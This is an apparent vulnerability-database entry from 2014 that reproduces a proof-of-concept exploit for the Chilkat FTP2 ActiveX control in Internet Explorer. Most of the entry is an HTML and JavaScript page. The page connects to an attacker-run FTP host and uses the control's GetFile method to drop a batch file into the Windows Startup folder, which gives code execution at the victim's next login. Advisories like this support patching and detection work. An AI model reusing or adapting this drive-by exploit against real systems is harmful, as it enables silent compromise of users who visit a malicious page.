Chilkat Software FTP2 ActiveX Component Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Chilkat Software FTP2 ActiveX Component Remote Code Execution in ChilkatFtp2.DLL 2.6.1.


                                                &#60;!--
Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL 2.6.1.1) Remote Code Execution poc
by rgod
tested against Internet Explorer 7 on Vista
should also work with 8/9
ActiveX Settings:
CLSID: {302124C4-30A0-484A-9C7A-B51D5BA5306B}
Progid: ChilkatFtp2.ChilkatFtp2.1
Binary Path: C:\Windows\System32\CHILKA~2.DLL
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True

This class allows to copy/overwrite files inside arbitrary locations ex. by the GetFile()
method. This code creates a batch file inside the automatic startup folder,
setup a ftp server allowing anonymous connections and place the code you want
to be retrieved.
This control is also used by lots of freeware applications, it was not documented so I posted here.
Note that previous versions has a different clsid, I&#39;m saying this for filtering purposes.
--&#62;
&#60;html&#62;
&#60;object classid=&#39;clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B&#39; id=&#39;obj&#39; /&#62;
&#60;/object&#62;
&#60;script&#62;
obj.UnlockComponent(&#34;suntzu&#34;); //needed for file transfer operations, type whatever here
obj.Port=21; //configure ftp connection
obj.Hostname=&#34;192.168.0.1&#34;; //change here
obj.ConnectTimeout=5;
obj.Passive=1;
var x;
x=obj.Connect(); 
if (x==1){
x = obj.GetFile(&#34;suntzu.txt&#34;,&#34;c:/Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/suntzu.bat&#34;); //boom
}
obj.Disconnect();
&#60;/script&#62;

original url: http://retrogod.altervista.org/9sg_chilkat.html

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1